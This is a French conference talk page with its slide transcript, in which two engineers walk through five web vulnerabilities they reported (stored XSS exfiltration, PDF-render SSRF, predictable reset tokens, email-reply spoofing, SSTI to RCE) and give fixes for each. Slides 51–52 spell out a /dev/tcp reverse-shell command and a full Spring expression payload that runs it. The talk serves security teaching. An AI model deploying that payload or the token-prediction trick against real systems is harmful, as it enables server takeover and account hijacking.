Hack me if you can

**Talk donné au snowcamp le 4 février 2022**

Depuis quelques années, on ne compte plus le nombre d'entreprises s'étant fait dérober des données sensibles. Il est intéressant de noter que les failles utilisées sont généralement toujours les mêmes : XSS, SQLi, RCE, etc.

Pour un néophyte, ces termes peuvent paraître difficile à comprendre, mais en tant que développeurs, vous savez probablement ce qui se cache derrière (ou au moins en partie).

Mais connaissez-vous vraiment les risques encourus ?
Savez-vous réellement comment exploiter ce type de faille ?

Dans ce talk, nous reviendrons sur des cas concrets (comprendre : des failles que l'on a identifié et reporté sur des "vrais" sites et peut-être même des applications que vous utilisez tous les jours).

A chaque fois, nous vous proposerons :
- Une mise en situation en reproduisant la faille rencontrée sur une application test.
- Nous montrerons les outils que nous avons utilisé pour identifier le souci et le POC mis en place pour le report.
- Nous reviendrons sur les conséquences possible si cette faille avait été identifié par une personne malveillante.
- La correction de la faille.

Pour avoir une meilleure vision de la menace qui pèse sur votre application, il est devenu quasiment indispensable de connaître les outils utilisés par les pentesters / hackers.

Aujourd'hui, nous vous proposons de vous partager nos astuces / nos outils mais aussi notre vision de développeurs passionnés de sécurité afin d'avoir une meilleure vision des menaces qui pèsent sur votre application !

Transcript

1. HACK ME IF YOU CAN HACK ME IF YOU CAN · · · · · · Snowcamp 2022 Snowcamp 2022 04 / 02 / 2022 04 / 02 / 2022
2. Qui sommes-nous ? Qui sommes-nous ? Mickael Jeanroy Software Engineer @ Alan @mickaeljeanroy Houssem Belhadj Ahmed Security Engineer @ Malt @7ouss3m
4. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
5. Présentation Présentation - ✅ Ce que nous allons montrer : Toute ressemblance avec des personnages existants serait purement fortuite… 🤭 A garder en tête : l’erreur est humaine 🥴 - ❌ Ce que nous n’allons pas montrer : Les entreprises & sites concernés
6. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
7. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher"
8. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" Context - Site grand public, avec la possibilité de créer un compte utilisateur gratuitement - Possibilité de souscrire à des services sur abonnements (paiement par Iban, Carte Bancaire, etc.)
9. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" - Phase de reconnaissance : 🤔 Tout est correctement échappé (pas de XSS) 😔 Erreurs correctement traitées (pas de SQLi) 💡 Pas de restrictions particulières sur les champs de saisie
10. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" Possibilités d’attaque : - ✨ Stored XSS - ❓ Data Exfiltration ? Principe : - Injection d’un payload via le site public - Payload : Export des données et envoi sur le serveur de l’attaquant - S’exécutera lorsque la victime affichera le payload (sans le savoir)
11. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher"
12. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" 🤩 XSS Hunter 🤩 Made By Matthew Bryant ( ) @IAmMandatory https://xsshunter.com/
13. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" / DEMO CRM
14. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" Quels sont les dangers ? - Récupérer les données utilisateurs sur des applications “internes” - Exécuter des actions “administrateurs” Qu’en déduire ? - La sécurité dépend toujours du maillon le plus faible - Appliquer la même exigence de sécurité dans vos applications internes (et même encore plus)
15. Cas 1 : "Sur un malentendu, ça peut marcher" Cas 1 : "Sur un malentendu, ça peut marcher" Quelles solutions ? - Valider les inputs partout - Tout échapper par défaut CSP : Content Security Policy - La plus restrictive possible : pas toujours facile… mais aucune raison de s’en passer sur une application “interne” ! - Exemple : Content-Security-Policy: connect-src 'self';
16. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
17. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?"
18. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" Contexte : - Site grand public, possibilité d’acheter un produit et de générer des factures - Exemple de lien accessible (très simplifié) https://[redacted]/invoice?id=1337&email=foo@bar.com
19. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?"
20. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" Analyse rapide : - 💡 Le paramètre email est affiché dans la facture - 💡 Le paramètre n’est pas échappé et les balises html fonctionnent XSS dans un pdf, c’est possible ?
21. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" Notre fichier est une page html affichée dans le navigateur (côté serveur) puis imprimée en pdf
22. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" XSS côté serveur => SSRF ? 🤔
23. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" / DEMO XSSHunter
24. Cas 2 : "C'est à moi que tu parles ?" Cas 2 : "C'est à moi que tu parles ?" Qu’en déduire ? - Une simple SXSS côté client peut se transformer en faille très grave côté serveur Quelles solutions ? - Attention à la manière de générer un pdf (utiliser une librairie adaptée) - Limiter les fonctionnalités qui ne sont pas nécessaire - Sandboxer l’opération et limiter les accès (network policy ?) - Code review, SAST, DAST…
25. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
26. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer"
27. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Contexte : - Site grand public, avec la possibilité de créer un compte utilisateur - Possibilité de mettre à jour ses informations utilisateur (email, mot de passe) - Possibilité de réinitialiser son mot de passe (“Oubli de mot de passe”)
28. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Phase de reconnaissance : - Lien unique envoyé par email : https://[redacted]/reset_password/61e5ea74cffb7766df89aa9c - Token unique : 61e5ea74cffb7766df89aa9c 🤔
29. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer"
30. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" - Analyse du token : 61e5ea74cffb7766df89aa9c 24 caractères hexadécimal 12 octets Pas un hash connu… 😟
31. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" - Analyse du token : 61e5ea74cffb7766df89aa9c - Social Engineering 💡 Notre stack technique - Backend : Java, MongoDB, ElasticSearch - Frontend : JavaScript, TypeScript, VueJS - DevOps : Google Cloud Platform, Docker, Kubernetes
32. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer"
33. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" - Un ObjectId est constitué de trois parties : Un timestamp Une valeur constante dépendant du serveur, initialisée aléatoirement Une valeur incrémentée, initialisée aléatoirement Aléatoire, vraiment ? Aléatoire, vraiment ?
34. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Principe : 1. Générer plusieurs token, dans la même milliseconde (même timestamp) 2. La seule différence entre chaque token sera la valeur incrémentée 3. A partir d’un token, on peut deviner les suivants 🎉 61e5ea74cffb7766df89aa9c 61e5ea74cffb7766df89aa9d 61e5ea74cffb7766df89aa9e
35. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" DEMO
36. Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Cas 3 : "La meilleure façon de prédire l'avenir, c'est de le créer" Qu’en déduire ? - Pour des fonctionnalités critique utilisant un token, s’assurer de la randomicité - Non, un timestamp n’est pas quelque chose d’aléatoire Quelles solutions ? - En Java, SecureRandom garantit une unicité forte (ne pas utiliser Random) - Un UUID utilise un SecureRandom
37. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
38. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger"
39. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" Contexte : - Site grand public, avec un système de messagerie - Un utilisateur peut créer une conversation avec un autre - Les messages peuvent être rédigés/envoyés directement sur le site ou par email
40. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" Analyse rapide : - 💡 Une adresse email unique est générée pour chaque conversation - 💡 On peut répondre avec n’importe quelle adresse source
41. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" reply+0c84a467-a68d-4b5e-8ae7-202ab7dc0989@xss.tn Est-il possible d'utiliser cette adresse pour me faire passer pour un vrai employé de l'entreprise ?
42. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" Phase de découverte : - 🧐 Identifier les outils utilisés en interne - 🧐 Identifier les applications internes de l'organisation (Amass, DNSRecon, Sublist3r) : https://internalapp.xss.tn
43. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" DEMO
44. Cas 4 : "Le trop de confiance attire le danger" Cas 4 : "Le trop de confiance attire le danger" Qu’en déduire ? - Une faille fonctionnelle sur une application peut avoir des conséquences très grave côté organisation. Quelles solutions ? - Utiliser un nom de domaine dédié pour ce genre de fonctionnalités (autre que celui de l’organisation) : mail.xss.tn ? - Vérifier l’expéditeur / contenu (allowlist / denylist)
45. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
46. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution"
47. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" Contexte : - Site grand public, possibilité d’envoyer des devis et des factures - Possibilité d’effectuer des preview et d’envoyer un lien - Exemple de lien accessible (très simplifié) https://[redacted]/quote?amount=70000
48. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" - Phase de reconnaissance : Le paramètre amount est spécifié en centime, mais affiché en Euro : une conversion est effectuée avant affichage 😔 Non vulnérable aux XSS 💡 Internal Server Error si le paramètre amount n’est pas un entier 💡 Tout fonctionne en cas de calcul arithmétique simple : amount=7*100 Server Side Template Injection ?
49. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution"
50. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" Server Side Template Injection - Possibilité d’utiliser les fonctionnalités de templating pour injecter du code - Critique : généralement possible d’escalader en RCE - Par exemple : Spring + JSP : <spring:eval expression="[EXPRESSION]" var="myVar" /> Python Flask : render_template_string(my_template)
51. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" Exemple : - En Java, possibilité d’exécuter des commandes : Runtime.exec([CMD]) - Ouverture d’un reverse shell : nc -nvlp [PORT] - Commande à exécuter sur le serveur : /bin/bash -c exec 5<>/dev/tcp/[IP]/[PORT]; cat <&5 | while read line; do $line 2>&5 >&5; done
52. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" Payload complet : T(java.lang.Runtime).getRuntime().exec(new String[]{ "/bin/bash", "-c", "exec 5<>/dev/tcp/[IP]/[PORT];", "cat <&5 | while read line; do $line 2>&5 >&5; done" })
53. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" DEMO
54. Cas 5 : "Tout est dans l'exécution" Cas 5 : "Tout est dans l'exécution" Qu’en déduire : - Bien lire la documentation de votre moteur de template - Réduire la surface d'attaque Avez-vous besoin de curl sur votre serveur ? Network Policy
55. Sommaire Sommaire 1. Introduction 2. Présentation 3. Use Cases - "Sur un malentendu, ça peut marcher" - "C'est à moi que tu parles ?" - "La meilleure façon de prédire l'avenir, c'est de le créer" - "Le trop de confiance attire le danger" - "Tout est dans l'exécution" 4. Conclusion
56. Conclusion Conclusion Nos recommandations : - Code Review (pas parfait) - Bien lire les documentations - Appliquer la même exigence partout - Zero Trust, always
57. Conclusion Conclusion - Beaucoup d'outils existent pour automatiser : SQLMap ( ) SSRFMap ( ) XssHunter ( ) Nikto ( ) Etc. - Ne vous croyez pas "invincible" - Sécurité par obfuscation ❌ 👎 https://sqlmap.org/ https://github.com/swisskyrepo/SSRFmap https://xsshunter.com/ https://memo-linux.com/nikto-outil-scanner-de-securite-serveur-web/
58. Conclusion Conclusion
59. Merci ! Merci !